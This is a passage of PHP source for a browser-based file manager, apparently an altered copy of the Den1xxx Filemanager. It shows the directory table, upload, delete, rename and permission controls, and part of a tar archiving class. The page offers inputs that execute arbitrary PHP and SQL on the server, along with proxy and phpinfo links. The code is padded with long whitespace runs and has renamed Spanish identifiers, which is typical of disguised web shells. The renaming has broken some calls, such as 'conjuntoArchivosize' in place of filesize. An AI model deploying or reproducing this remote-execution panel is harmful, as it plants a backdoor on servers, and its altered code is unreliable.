	                 	                 	                 <?php } ?>

	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 	                 <form  method="post" action="<?=$url_inc?>" style="display:inline">

	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
                            
	                 	                 	                 	                 <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

	                 	                 	                 	                 <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

	                 	                 	                 	                 <input type="submit" name="search" value="<?=__('Search')?>">
	                 	                 	                 	                 </form>

	                 	                 	                 </td>

	                 	                 	                 <td>
	                 	                 	                 <?=fm_run_input('php')?>

	                 	                 	                 </td>

	                 	                 	                 <td>

	                 	                 	                 <?=fm_run_input('sql')?>

	                 	                 	                 </td>
	                 	                 	                 </tr>
	                 	                 </table>
    </td>
                                                                                     
    <td class="row3">

	                 	                 <table>

	                 	                 <tr>
                                                                  
	                 	                 <td>
	                 	                 <?php if (!empty($fm_config['upload_file'])) { ?>

	                 	                 	                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />

	                 	                 	                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
                                                                                                  
	                 	                 	                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

	                 	                 	                 <input type="submit" name="test" value="<?=__('Upload')?>" />

	                 	                 	                 </form>

	                 	                 <?php } ?>
	                 	                 </td>
                        
	                 	                 <td>
                                       
	                 	                 <?php if ($auth['authorize']) { ?>

	                 	                 	                 <form action="" method="post">&nbsp;&nbsp;&nbsp;
	                 	                 	                 <input name="quit" type="hidden" value="1">

	                 	                 	                 <?=__('Hello')?>, <?=$auth['login']?>

	                 	                 	                 <input type="submit" value="<?=__('Quit')?>">

	                 	                 	                 </form>
                                                                 
	                 	                 <?php } ?>

	                 	                 </td>
                                                   
	                 	                 <td>

	                 	                 <?=fm_lang_form($language)?>
                                                                       
	                 	                 </td>

	                 	                 <tr>
                                   
	                 	                 </table>

    </td>
</tr>
                                                      
</table>
                                                                                        
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
                                       
<tr> 

    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>
                                                                                          
<tbody>

<?php
                                                                                                 
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
                                                                                 
$conjuntoArchivos = array();
foreach ($elements as $file){
                                                                         
    if(@is_dir($path . $file)){
                                                                                                 
        $dirs[] = $file;

    } else {

        $conjuntoArchivos[] = $file;

    }
}
natsort($dirs); natsort($conjuntoArchivos);

$elements = array_merge($dirs, $conjuntoArchivos);


                              
foreach ($elements as $file){
    $filename = $path . $file;

    $filedata = @stat($filename);
    if(@is_dir($filename)){

	                 	                 $filedata[7] = '';

	                 	                 if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                                           
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
                                                                                            
	                 	                 $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
                        
        $style = 'row2';

	                 	                  if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                                                               
    } else {

	                 	                 $link = 

	                 	                 	                 $fm_config['show_img']&&@getimagesize($filename) 

	                 	                 	                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

	                 	                 	                 . fm_img_link($filename)
	                 	                 	                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

	                 	                 	                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

	                 	                 $e_arr = explode(".", $file);
	                 	                 $ext = end($e_arr);

        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

	                 	                 $arlink = in_array($ext,array('zip','gz','tar')) 
                                  
	                 	                 ? ''
                                 
	                 	                 : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';

	                 	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }

    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
                                                                          
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
                                                                         
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>

    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
                                                            
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>

    <td><?=$loadlink?></td>

    <td><?=$arlink?></td>

</tr>
                               
<?php
    }
}

?>
</tbody>
</table>

<div class="row3"><?php

	                 $mtime = explode(' ', microtime()); 
                                                                             
	                 $totaltime = $mtime[0] + $mtime[1] - $starttime; 

	                 echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	                 if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
                                                                                             
	                 if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	                 if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	                 if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	                 if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
                                                                                      
	                 if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	                 if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	                 ?>
</div>
                                                                  
<script type="text/javascript">

function download_xls(filename, text) {

	                 var element = document.createElement('a');

	                 element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	                 element.setAttribute('download', filename);
	                 element.style.display = 'none';

	                 document.body.appendChild(element);

	                 element.click();
	                 document.body.removeChild(element);

}


function base64_encode(m) {
	                 for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

	                 	                 c = m.charCodeAt(l);

	                 	                 if (128 > c) d = 1;

	                 	                 else

	                 	                 	                 for (d = 2; c >= 2 << 5 * d;) ++d;

	                 	                 for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
                                                
	                 }

	                 b && (g += k[f << 6 - b]);
                                                                           
	                 return g
                                                    
}




var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {

                return c[p];

            })
                                                               
        }

    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)

        var ctx = {

            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
                                                             
        }

	                 	                 t = new Date();
                                                                                           
	                 	                 filename = 'fm_' + t.toISOString() + '.xls'
                                 
	                 	                 download_xls(filename, base64_encode(format(template, ctx)))

    }
                                                                                                  
})();

var table2Excel = function () {


                               
    var ua = window.navigator.userAgent;
                                                         
    var msie = ua.indexOf("MSIE ");


                                                                                    
	                 this.CreateExcelSheet = 

	                 	                 function(el, name){
	                 	                 	                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                                                         
	                 	                 	                 	                 var x = document.getElementById(el).rows;


	                 	                 	                 	                 var xls = new ActiveXObject("Excel.Application");


                                               
	                 	                 	                 	                 xls.visible = true;

	                 	                 	                 	                 xls.Workbooks.Add
	                 	                 	                 	                 for (i = 0; i < x.length; i++) {
	                 	                 	                 	                 	                 var y = x[i].cells;
                                                            

                                                                    
	                 	                 	                 	                 	                 for (j = 0; j < y.length; j++) {

	                 	                 	                 	                 	                 	                 xls.Cells(i + 1, j + 1).Value = y[j].innerText;

	                 	                 	                 	                 	                 }
                                                                 
	                 	                 	                 	                 }
                                                                            
	                 	                 	                 	                 xls.Visible = true;
                                                                                                 
	                 	                 	                 	                 xls.UserControl = true;

	                 	                 	                 	                 return xls;
	                 	                 	                 } else {
                                                        
	                 	                 	                 	                 tableToExcelData(el, name);
                                                                                              
	                 	                 	                 }

	                 	                 }

}
</script>
                                                                         
</body>

</html>



<?php
//Ported from ReloadCMS project http://reloadcms.com
                      
class archiveTar {

	                 var $nombrePaquete = '';

	                 var $archivoTemporal = 0;

	                 var $posicionArchivo = 0;
                                         
	                 var $estaComprimido = true;
	                 var $registrosErrores = array();

	                 var $conjuntoArchivos = array();
	                 
	                 function __construct(){
                                                            
	                 	                 if (!isset($this->registrosErrores)) $this->registrosErrores = array();

	                 }
                                       
	                 

	                 function crearPaquete($file_list){

	                 	                 $result = false;

	                 	                 if (file_exists($this->nombrePaquete) && is_file($this->nombrePaquete)) 	                 $newArchive = false;

	                 	                 else $newArchive = true;
                     
	                 	                 if ($newArchive){

	                 	                 	                 if (!$this->abrirArchivoParaEscritura()) return false;
                         
	                 	                 } else {
                                                
	                 	                 	                 if (conjuntoArchivosize($this->nombrePaquete) == 0)	                 return $this->abrirArchivoParaEscritura();
                                                    
	                 	                 	                 if ($this->estaComprimido) {
                          
	                 	                 	                 	                 $this->cerrarArchivoTemporal();
	                 	                 	                 	                 if (!rename($this->nombrePaquete, $this->nombrePaquete.'.tmp')){

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot rename').' '.$this->nombrePaquete.__(' to ').$this->nombrePaquete.'.tmp';
                                                             
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }

	                 	                 	                 	                 $tmpArchive = gzopen($this->nombrePaquete.'.tmp', 'rb');

	                 	                 	                 	                 if (!$tmpArchive){

	                 	                 	                 	                 	                 $this->registrosErrores[] = $this->nombrePaquete.'.tmp '.__('is not readable');

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }

	                 	                 	                 	                 if (!$this->abrirArchivoParaEscritura()){

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);
                                                                      
	                 	                 	                 	                 	                 return false;
                                              
	                 	                 	                 	                 }

	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 if (!gzeof($tmpArchive)){
	                 	                 	                 	                 	                 do {

	                 	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 while (!gzeof($tmpArchive));
                             
	                 	                 	                 	                 }

	                 	                 	                 	                 gzclose($tmpArchive);
	                 	                 	                 	                 unlink($this->nombrePaquete.'.tmp');
                                         
	                 	                 	                 } else {
                                                                                                
	                 	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'r+b');
	                 	                 	                 	                 if (!$this->archivoTemporal)	                 return false;

	                 	                 	                 }

	                 	                 }
                                                                        
	                 	                 if (isset($file_list) && is_array($file_list)) {
	                 	                 if (count($file_list)>0)
	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_list);
                                                                    
	                 	                 } else $this->registrosErrores[] = __('No file').__(' to ').__('Archive');
	                 	                 if (($result)&&(is_resource($this->archivoTemporal))){
	                 	                 	                 $binaryData = pack('a512', '');
	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 }

	                 	                 $this->cerrarArchivoTemporal();
	                 	                 if ($newArchive && !$result){
                                                                                          
	                 	                 $this->cerrarArchivoTemporal();

	                 	                 unlink($this->nombrePaquete);

	                 	                 }

	                 	                 return $result;
	                 }



	                 function desempaquetarArchivos($path){

	                 	                 $fileName = $this->nombrePaquete;
                                                            
	                 	                 if (!$this->estaComprimido){
	                 	                 	                 if (file_exists($fileName)){

	                 	                 	                 	                 if ($fp = fopen($fileName, 'rb')){

	                 	                 	                 	                 	                 $data = fread($fp, 2);

	                 	                 	                 	                 	                 fclose($fp);

	                 	                 	                 	                 	                 if ($data == '\37\213'){
                                                       
	                 	                 	                 	                 	                 	                 $this->estaComprimido = true;
	                 	                 	                 	                 	                 }

	                 	                 	                 	                 }
	                 	                 	                 }

	                 	                 	                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->estaComprimido = true;

	                 	                 } 

	                 	                 $result = true;

	                 	                 if ($this->estaComprimido) $this->archivoTemporal = gzopen($fileName, 'rb');

	                 	                 else $this->archivoTemporal = fopen($fileName, 'rb');

	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = $fileName.' '.__('is not readable');
                                                        
	                 	                 	                 return false;

	                 	                 }

	                 	                 $result = $this->unempaquetarArchivosEnPaquete($path);

	                 	                 	                 $this->cerrarArchivoTemporal();
                                                     
	                 	                 return $result;
	                 }


                                      
	                 function mostrarListaErrores	                 ($message = '') {

	                 	                 $Errors = $this->registrosErrores;
                                                                  
	                 	                 if(count($Errors)>0) {
                                                                         
	                 	                 if (!empty($message)) $message = ' ('.$message.')';

	                 	                 	                 $message = __('Error occurred').$message.': <br/>';

	                 	                 	                 foreach ($Errors as $value)

	                 	                 	                 	                 $message .= $value.'<br/>';

	                 	                 	                 return $message;	                 
                                                                        
	                 	                 } else return '';

	                 	                 
                                                     
	                 }

	                 

	                 function empaquetarArchivosEnPaquete($file_array){
                                                        
	                 	                 $result = true;
	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');

	                 	                 	                 return false;
	                 	                 }
                                                                                  
	                 	                 if (!is_array($file_array) || count($file_array)<=0)
                                                   
          return true;
	                 	                 for ($i = 0; $i<count($file_array); $i++){

	                 	                 	                 $filename = $file_array[$i];
                                                                   
	                 	                 	                 if ($filename == $this->nombrePaquete)
	                 	                 	                 	                 continue;
	                 	                 	                 if (strlen($filename)<=0)

	                 	                 	                 	                 continue;

	                 	                 	                 if (!file_exists($filename)){
	                 	                 	                 	                 $this->registrosErrores[] = __('No file').' '.$filename;
                                                                    
	                 	                 	                 	                 continue;
                        
	                 	                 	                 }
	                 	                 	                 if (!$this->archivoTemporal){
	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');
	                 	                 	                 return false;
	                 	                 	                 }

	                 	                 if (strlen($filename)<=0){
	                 	                 	                 $this->registrosErrores[] = __('Filename').' '.__('is incorrect');;

	                 	                 	                 return false;

	                 	                 }
	                 	                 $filename = str_replace('\\', '/', $filename);

	                 	                 $keep_filename = $this->generarRutaValidaArchivo($filename);

	                 	                 if (is_file($filename)){

	                 	                 	                 if (($file = fopen($filename, 'rb')) == 0){
                                                                                               
	                 	                 	                 	                 $this->registrosErrores[] = __('Mode ').__('is incorrect');
	                 	                 	                 }

	                 	                 	                 	                 if(($this->posicionArchivo == 0)){

	                 	                 	                 	                 	                 if(!$this->insertarCabeceraArchivo($filename, $keep_filename))
	                 	                 	                 	                 	                 	                 return false;
                                                                                       
	                 	                 	                 	                 }
	                 	                 	                 	                 while (($buffer = fread($file, 512)) != ''){
	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);
	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 	                 }

	                 	                 	                 fclose($file);
	                 	                 }	                 else $this->insertarCabeceraArchivo($filename, $keep_filename);

	                 	                 	                 if (@is_dir($filename)){

	                 	                 	                 	                 if (!($handle = opendir($filename))){
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
                                                                            
	                 	                 	                 	                 	                 continue;

	                 	                 	                 	                 }
                                     
	                 	                 	                 	                 while (false !== ($dir = readdir($handle))){
                                                                              
	                 	                 	                 	                 	                 if ($dir!='.' && $dir!='..'){

	                 	                 	                 	                 	                 	                 $file_array_tmp = array();
                           
	                 	                 	                 	                 	                 	                 if ($filename != '.')
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $filename.'/'.$dir;

	                 	                 	                 	                 	                 	                 else
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $dir;



	                 	                 	                 	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_array_tmp);
	                 	                 	                 	                 	                 }
                             
	                 	                 	                 	                 }
	                 	                 	                 	                 unset($file_array_tmp);
	                 	                 	                 	                 unset($dir);
	                 	                 	                 	                 unset($handle);

	                 	                 	                 }

	                 	                 }

	                 	                 return $result;

	                 }



	                 function unempaquetarArchivosEnPaquete($path){ 
	                 	                 $path = str_replace('\\', '/', $path);

	                 	                 if ($path == ''	                 || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	                 $path = './'.$path;
                                                                                          
	                 	                 clearstatcache();

	                 	                 while (strlen($binaryData = $this->obtenerBloqueDatos()) != 0){

	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
                                                                                                
	                 	                 	                 if ($header['filename'] == '') continue;
	                 	                 	                 if ($header['typeflag'] == 'L'){	                 	                 	                 //reading long header

	                 	                 	                 	                 $filename = '';

	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
	                 	                 	                 	                 	                 $filename .= $content;

	                 	                 	                 	                 }
	                 	                 	                 	                 if (($laspiece = $header['size'] % 512) != 0){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 $filename .= substr($content, 0, $laspiece);
	                 	                 	                 	                 }
                                                                           
	                 	                 	                 	                 $binaryData = $this->obtenerBloqueDatos();
	                 	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
	                 	                 	                 	                 else $header['filename'] = $filename;

	                 	                 	                 	                 return true;

	                 	                 	                 }
	                 	                 	                 if (($path != './') && ($path != '/')){

	                 	                 	                 	                 while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
                                                                                        
	                 	                 	                 	                 if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                                            
	                 	                 	                 	                 else $header['filename'] = $path.'/'.$header['filename'];
                                                                          
	                 	                 	                 }
                                            
	                 	                 	                 
	                 	                 	                 if (file_exists($header['filename'])){
                           
	                 	                 	                 	                 if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	                 	                 	                 	                 	                 $this->registrosErrores[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
                                                                
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }
	                 	                 	                 	                 if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
	                 	                 	                 	                 	                 $this->registrosErrores[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
                                                                            
	                 	                 	                 	                 	                 return false;
                          
	                 	                 	                 	                 }

	                 	                 	                 	                 if (!is_writeable($header['filename'])){
                                                     
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
	                 	                 	                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
                                                                     
	                 	                 	                 	                 return false;
	                 	                 	                 }
                                                                                         


	                 	                 	                 if ($header['typeflag'] == '5'){

	                 	                 	                 	                 if (!file_exists($header['filename']))	                 	                 {
	                 	                 	                 	                 	                 if (!mkdir($header['filename'], 0777))	                 {
                                   
	                 	                 	                 	                 	                 	                 
	                 	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$header['filename'];
                                                                                  
	                 	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 	                 } 

	                 	                 	                 	                 }
	                 	                 	                 } else {

	                 	                 	                 	                 if (($destination = fopen($header['filename'], 'wb')) == 0) {
                               
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$header['filename'];

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 } else {
                                                                             
	                 	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 	                 fwrite($destination, $content, 512);

	                 	                 	                 	                 	                 }
                                                                                   
	                 	                 	                 	                 	                 if (($header['size'] % 512) != 0) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
                                                                          
	                 	                 	                 	                 	                 	                 fwrite($destination, $content, ($header['size'] % 512));

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 fclose($destination);
                                                                                                  
	                 	                 	                 	                 	                 touch($header['filename'], $header['time']);

	                 	                 	                 	                 }

	                 	                 	                 	                 clearstatcache();

	                 	                 	                 	                 if (conjuntoArchivosize($header['filename']) != $header['size']) {

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
                               
	                 	                 	                 }

	                 	                 	                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
	                 	                 	                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
                                                                                     
	                 	                 	                 $this->dirs[] = $file_dir;

	                 	                 	                 $this->conjuntoArchivos[] = $header['filename'];
                                                          
	                 

	                 	                 }
	                 	                 return true;
	                 }
                                 

	                 function dirCheck($dir){

	                 	                 $parent_dir = dirname($dir);


                            
	                 	                 if ((@is_dir($dir)) or ($dir == ''))
	                 	                 	                 return true;


                                                      
	                 	                 if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
                                                
	                 	                 	                 return false;
                               

                                                 
	                 	                 if (!mkdir($dir, 0777)){

	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$dir;

	                 	                 	                 return false;

	                 	                 }

	                 	                 return true;

	                 }



	                 function recuperarCabeceraArchivo($binaryData, &$header){
	                 	                 if (strlen($binaryData)==0){
	                 	                 	                 $header['filename'] = '';
                                      
	                 	                 	                 return true;

	                 	                 }
                                                                 

	                 	                 if (strlen($binaryData) != 512){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 $this->__('Invalid block size').': '.strlen($binaryData);
	                 	                 	                 return false;

	                 	                 }


                                                             
	                 	                 $hashIntegridad = 0;
                                                                          
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156; $i < 512; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));


	                 	                 $unpack_data = unpack('a100filename/a8mode/a8identificadorUsuario/a8group_id/a12size/a12time/a8hashIntegridad/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

	                 	                 $header['hashIntegridad'] = OctDec(trim($unpack_data['hashIntegridad']));

	                 	                 if ($header['hashIntegridad'] != $hashIntegridad){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 if (($hashIntegridad == 256) && ($header['hashIntegridad'] == 0)) 	                 return true;
                             
	                 	                 	                 $this->registrosErrores[] = __('Error hashIntegridad for file ').$unpack_data['filename'];
                          
	                 	                 	                 return false;
	                 	                 }


	                 	                 if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	                 $header['size'] = 0;

	                 	                 $header['filename'] = trim($unpack_data['filename']);
                                                       
	                 	                 $header['mode'] = OctDec(trim($unpack_data['mode']));

	                 	                 $header['identificadorUsuario'] = OctDec(trim($unpack_data['identificadorUsuario']));

	                 	                 $header['group_id'] = OctDec(trim($unpack_data['group_id']));

	                 	                 $header['size'] = OctDec(trim($unpack_data['size']));

	                 	                 $header['time'] = OctDec(trim($unpack_data['time']));
	                 	                 return true;
	                 }
                                                                         


	                 function insertarCabeceraArchivo($filename, $keep_filename){

	                 	                 $packF = 'a100a8a8a8a12A12';
	                 	                 $packL = 'a1a100a6a2a32a32a8a8a155a12';

	                 	                 if (strlen($keep_filename)<=0) $keep_filename = $filename;

	                 	                 $filename_ready = $this->generarRutaValidaArchivo($keep_filename);


	                 	                 if (strlen($filename_ready) > 99){	                 	                 	                 	                 	                 	                 	                 //write long header
	                 	                 $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	                 	                 $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
                                                                                               


        //  Calculate the hashIntegridad

	                 	                 $hashIntegridad = 0;
        //  First part of the header

	                 	                 for ($i = 0; $i < 148; $i++)
                                              
	                 	                 	                 $hashIntegridad += ord(substr($dataFirst, $i, 1));

        //  Ignore the hashIntegridad value and replace it by ' ' (space)
	                 	                 for ($i = 148; $i < 156; $i++)

	                 	                 	                 $hashIntegridad += ord(' ');
        //  Last part of the header

	                 	                 for ($i = 156, $j=0; $i < 512; $i++, $j++)
                                       
	                 	                 	                 $hashIntegridad += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
                               
	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);

        //  Write the calculated hashIntegridad
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);
                                                                          
	                 	                 $this->guardarSegmentoDatos($binaryData, 8);
                                         
        //  Write the last 356 bytes of the header in the archive
	                 	                 $this->guardarSegmentoDatos($dataLast, 356);



	                 	                 $archivoTemporalname = $this->generarRutaValidaArchivo($filename_ready);


                                                          
	                 	                 $i = 0;

	                 	                 	                 while (($buffer = substr($archivoTemporalname, (($i++)*512), 512)) != ''){

	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 }

	                 	                 return true;
                                                                                  
	                 	                 }

	                 	                 $file_info = stat($filename);

	                 	                 if (@is_dir($filename)){
                            
	                 	                 	                 $typeflag = '5';

	                 	                 	                 $size = sprintf('%11s ', DecOct(0));
                                                                                   
	                 	                 } else {

	                 	                 	                 $typeflag = '';

	                 	                 	                 clearstatcache();
                                                                                 
